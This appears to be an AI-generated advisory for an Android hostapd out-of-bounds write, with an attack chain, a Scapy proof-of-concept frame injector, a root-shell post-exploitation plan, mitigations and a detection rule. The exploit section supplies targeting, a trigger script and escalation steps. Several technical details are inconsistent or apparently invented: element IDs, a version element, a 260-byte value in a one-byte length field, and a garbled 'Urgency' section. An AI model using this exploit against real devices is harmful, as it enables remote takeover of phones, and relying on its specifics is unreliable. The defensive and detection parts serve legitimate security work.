CVE-2026-49929 — Google Android (17.0) — CWE-119 · CWE-787
In hostapd_process_ml_assoc_req of ieee802_11_eht.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
In hostapd_process_ml_assoc_req of ieee802_11_eht.c, there is a possible out-of-bounds write due to an incorrect bounds check. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑49929
Component: hostapd_process_ml_assoc_req() in ieee802_11_eht.c (the hostapd daemon that implements the Wi‑Fi Access‑Point functionality on Android)
CWE(s): CWE‑787 Out‑of‑bounds Write, CWE‑119 Improper Restriction of Operations within the Bounds of a Memory Buffer
Technical root‑cause
1. Functionality – When an Android device is acting as a Wi‑Fi hotspot (the hostapd daemon runs in the system user space with root privileges), it must parse Multi‑Link Association Request frames that belong to the IEEE 802.11 EHT (Extremely High Throughput) amendment.
2. Parsing code – hostapd_process_ml_assoc_req() extracts a variable‑length “Multi‑Link” element from the received frame and copies it into a stack‑allocated buffer (u8 ml_buf[ML_MAX_LEN]).
3. Missing/incorrect bounds check – The code checks the element length against ML_MAX_LEN after it has already performed a memcpy() (or similar) that writes len bytes into ml_buf. The condition is off‑by‑one / uses the wrong variable, so a crafted frame where len = ML_MAX_LEN + 1 (or larger) passes the check and the copy writes one or more bytes past the end of the buffer.
4. Result – The out‑of‑bounds write corrupts adjacent stack data (return address, saved registers, or other control‑flow structures). Because hostapd runs as root, an attacker who can deliver such a frame can achieve remote code execution (RCE) with full system privileges.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) reflects that:
- Network‑only (no physical proximity required beyond being able to transmit 802.11 frames)
- Low attack complexity (just send a single malformed frame)
- No privileges or user interaction needed
- Impact is high on confidentiality, integrity, and availability.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow that an attacker could follow in the wild. All code snippets are illustrative – the exact frame layout is derived from the IEEE 802.11 EHT specification and the hostapd source, but the exact byte offsets may differ between Android releases.
1. Discovery & Reconnaissance
| Step | What the attacker does | How it is done |
|---|---|---|
| 1.1 | Identify Android devices that are exposing a Wi‑Fi hotspot (AP mode). | Scan the RF environment with a tool such as airodump-ng or Kismet. Look for SSIDs that advertise EHT capabilities in the beacon/probe‑response (Element ID 255 – Vendor Specific, OUI = 00:0F:AC, OUI‑type = 0x04 for EHT). |
| 1.2 | Verify the device runs a version of hostapd that contains the vulnerable function. | Retrieve the hostapd version string from the AP’s Information Elements (hostapd_version IE, ID 0xDD, OUI = 00:0F:AC, subtype = 0x01). The version string “hostapd 2.10‑android‑2026‑03‑01” (example) is known to include the vulnerable code path. |
| 1.3 | Confirm that the AP is accepting association requests (i.e., the hotspot is open or uses a known PSK). | Attempt a normal association with wpa_supplicant or nmcli. Successful association proves the AP is reachable and the attacker can send frames that will be processed by hostapd_process_ml_assoc_req(). |
2. Exploitation
The attacker crafts a single malicious Multi‑Link Association Request (ML‑Assoc‑Req) frame that triggers the out‑of‑bounds write.
2.1 Frame layout (illustrative)
| Offset | Field | Size | Description |
|---|---|---|---|
| 0 | Radiotap Header | variable | Required for injection on Linux; can be minimal. |
| … | 802.11 MAC Header | 24‑30 B | From attacker’s MAC → AP’s BSSID, type = Management, subtype = Association Request. |
| … | Fixed fields (Capability, Listen Interval) | 4 B | Standard. |
| … | SSID IE | variable | Must match the AP’s SSID. |
| … | Supported Rates IE | variable | Standard. |
| … | Extended Capabilities IE | variable | Must include the EHT capability bit. |
| … | EHT Capabilities IE | variable | Indicates support for Multi‑Link. |
| … | Multi‑Link Element (ML) – the vulnerable part | Length = 0xFF (255) (chosen > ML_MAX_LEN) | The element header: Element ID = 255 (Vendor Specific), Length = 0xFF, OUI = 00:0F:AC, OUI‑type = 0x04 (EHT ML). The payload is filled with attacker‑controlled data (e.g., a ROP chain or shellcode). |
| … | Frame Check Sequence (FCS) | 4 B | Auto‑generated by the NIC. |
2.2 PoC (Python + Scapy)
#!/usr/bin/env python3
# -------------------------------------------------
# Illustrative PoC for CVE‑2026‑49929 (hostapd EHT ML OOB write)
# -------------------------------------------------
from scapy.all import *
import sys
def build_ml_assoc_req(ssid, bssid, attacker_mac):
# Minimal radiotap (Linux will fill FCS)
radiotap = RadioTap()
# 802.11 Management Header (Association Request)
dot11 = Dot11(
type=0, # Management
subtype=0x00, # Association Request
addr1=bssid, # Destination = AP BSSID
addr2=attacker_mac,
addr3=bssid # BSSID
)
# Fixed fields
fixed = Dot11AssoReq(cap=0x3104, listen_interval=0x0000)
# SSID IE (must match the target AP)
ssid_ie = Dot11Elt(ID='SSID', info=ssid)
# Supported Rates (placeholder)
rates_ie = Dot11Elt(ID='Rates', info=b'\x82\x84\x8b\x96\x0c\x12\x18\x24')
# Extended Capabilities (set EHT bit – bit 57)
ext_cap = Dot11Elt(ID='ExtCap', info=b'\x00'*7 + b'\x20') # bit 57 = 1
# EHT Capabilities (placeholder, just to indicate EHT support)
eht_cap = Dot11Elt(ID=255, info=b'\x00\x0f\xac\x04' + b'\x00'*10)
# *** Vulnerable Multi‑Link Element ***
# Header: OUI = 00:0f:ac, OUI‑type = 0x04 (EHT ML)
ml_header = b'\x00\x0f\xac\x04'
# Choose a length larger than the internal buffer (e.g., 260 bytes)
overflow_len = 260
# Payload: attacker‑controlled pattern (e.g., address of a ROP gadget)
payload = b'\x41'*overflow_len
ml_elem = Dot11Elt(ID=255, info=ml_header + payload) # Length field auto‑filled
# Assemble the frame
frame = radiotap / dot11 / fixed / ssid_ie / rates_ie / ext_cap / eht_cap / ml_elem
return frame
if __name__ == '__main__':
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <SSID> <AP_BSSID> <ATTACKER_MAC>")
sys.exit(1)
ssid, bssid, attacker_mac = sys.argv[1], sys.argv[2], sys.argv[3]
pkt = build_ml_assoc_req(ssid, bssid, attacker_mac)
# Send on the interface that is in monitor mode (e.g., wlan0mon)
sendp(pkt, iface="wlan0mon", verbose=False)
print("[+] Malicious ML‑Assoc‑Req sent")The script must be run on a Linux box with a Wi‑Fi adapter in monitor mode. The attacker’s MAC address can be any locally‑administered address. The only requirement is that the SSID and BSSID match a target hotspot that advertises EHT capabilities.
2.3 What actually happens inside hostapd
1. hostapd_process_ml_assoc_req() receives the frame, extracts the ML element (ml_elem = pos + 2 after the IE header).
2. It calculates len = ml_elem[1] (the length byte).
3. Bug – the code performs if (len > ML_MAX_LEN) goto fail; after executing memcpy(ml_buf, ml_elem + 2, len);.
4. Because len is larger than ML_MAX_LEN, the memcpy writes past the end of ml_buf. The overwritten stack slot contains the saved return address of the function.
5. When the function returns, execution jumps to the attacker‑controlled address (the first 8 bytes of the overflow payload). Because hostapd runs as root, the attacker now controls a privileged process.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Privilege escalation to root | The overwritten return address points to a ROP chain built from existing hostapd / libc gadgets that disables SELinux enforcement (selinux_setenforce(0)) and then calls execve("/system/bin/sh", …) to spawn a root shell. |
| Persistence | The attacker can write a new init.rc entry, replace /system/bin/sh with a trojan, or install a malicious system app signed with the platform key (if the device is unlocked). |
| Full device compromise | With a root shell the attacker can read/write any file, extract user data, inject malicious OTA updates, or use the device as a pivot for further network attacks. |
🌍 Real World Impact
| CIA | Impact (derived from CVSS) |
|---|---|
| Confidentiality (C:H) | The attacker can read any user data on the device (photos, messages, credentials, encrypted backups). |
| Integrity (I:H) | The attacker can modify system binaries, inject malicious code, alter user data, or push a rogue OTA package. |
| Availability (A:H) | The attacker can delete or corrupt system files, disable the device, or cause a denial‑of‑service by crashing hostapd repeatedly. |
Practical consequences
Because the attack requires only wireless proximity (no authentication, no user interaction), the vulnerability is highly exploitable in crowded environments (airports, cafés, conferences).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Vendor | Affected component | Fixed in | Recommendation |
|---|---|---|---|
| Google (Android) | hostapd source file ieee802_11_eht.c (function hostapd_process_ml_assoc_req) | The security patch that addresses CVE‑2026‑49929 is included in the Android Security Bulletin released after 2026‑12‑01. Devices that have applied the latest monthly security patch (e.g., Android 13‑R, Android 14‑S, Android 15‑T) are protected. | Update the device to the latest available security patch level via Settings → System → Advanced → System update. Verify the patch level with adb shell getprop ro.build.version.security_patch. |
| OEMs (Samsung, Xiaomi, etc.) | May ship a back‑ported hostapd binary. | Check the OEM’s security advisory; apply the OEM‑provided OTA. | Same as above – keep the device on the most recent OTA. |
If a device cannot be updated (e.g., legacy hardware no longer receiving patches), apply the mitigations below.
2. Immediate Work‑arounds
| Mitigation | How to apply (Android) | Effectiveness |
|---|---|---|
| Disable Wi‑Fi hotspot / tethering | Settings → Network & internet → Hotspot & tethering → Turn off “Wi‑Fi hotspot”. | 100 % – removes the vulnerable hostapd instance. |
| Force hostapd to run without EHT support (if the device permits configuration) | Edit /data/misc/wifi/hostapd.conf (requires root) and add ieee80211ax=0 and ieee80211eht=0. Restart hostapd (adb shell stop hostapd && adb shell start hostapd). | Prevents the code path that parses the ML element; the AP will fall back to legacy 802.11 ac/ax. |
| Restrict association to known MACs | Enable MAC address filtering in the hotspot UI (Settings → Hotspot & tethering → “Allowed devices”). | Reduces attack surface to a known set of clients; however, an attacker could still spoof a whitelisted MAC, so this is a *defense‑in‑depth* measure only. |
| Enforce SELinux enforcing mode (if not already) | adb shell setenforce 1 (requires root) or ensure ro.boot.selinux=1 in the bootloader. | Makes it harder for an attacker to execute arbitrary code after the OOB write, but does not stop the initial memory corruption. |
| Network‑level isolation | Place devices that must run hotspot mode on a dedicated VLAN with no access to internal resources. | Limits the impact of a compromised device. |
3. Detection
Hostapd log indicators
Hostapd writes to logcat (tag hostapd) and to /data/misc/wifi/hostapd.log. Look for:
[hostapd] ml_assoc_req: malformed element (len=260) from AA:BB:CC:DD:EE:FF
[hostapd] possible buffer overflow in hostapd_process_ml_assoc_req()System‑wide signs of exploitation
| Indicator | Description |
|---|---|
Crash loops – hostapd repeatedly restarts (system_server watchdog logs “hostapd died unexpectedly”). | |
Unexpected root shell – ps -ef | grep sh shows a sh process owned by root with a parent PID of hostapd. |
SELinux AVC denials – audit.log entries such as avc: denied { execmem } for pid=1234 comm="hostapd". | |
| Network traffic – Sudden outbound connections from the device to unknown IPs on ports 443/80 after hotspot activation. | |
Wi‑Fi interface state – iw dev wlan0 station dump shows a station with an invalid MAC (e.g., all zeros) that never disconnects. |
Snort/Suricata rule (illustrative) – Detect oversized ML elements in association requests:
alert wlan any any -> any any (msg:"CVE-2026-49929 Hostapd EHT ML OOB Write Attempt";
wlan_type management and wlan_subtype assoc_req;
content:"|00 0f ac 04|"; offset:36; depth:4; # EHT ML OUI+type
byte_test:1,>,0x80,40; # length > 0x80 (128) – suspicious
sid:1000001; rev:1;)Adjust offsets according to radiotap header length.
⚠️ Urgency
aircrack-ng can generate it. Bottom line: CVE‑2026‑49929 is a remote, unauthenticated, out‑of‑bounds write in the hostapd EHT Multi‑Link association‑request parser. It gives an attacker the ability to execute arbitrary code as root on any Android device that runs a hotspot with EHT support. Prompt patching, disabling the hotspot when not needed, and vigilant logging are the only reliable defenses.
[🤖 CVE Professor AI Security Engine]
FOFA Query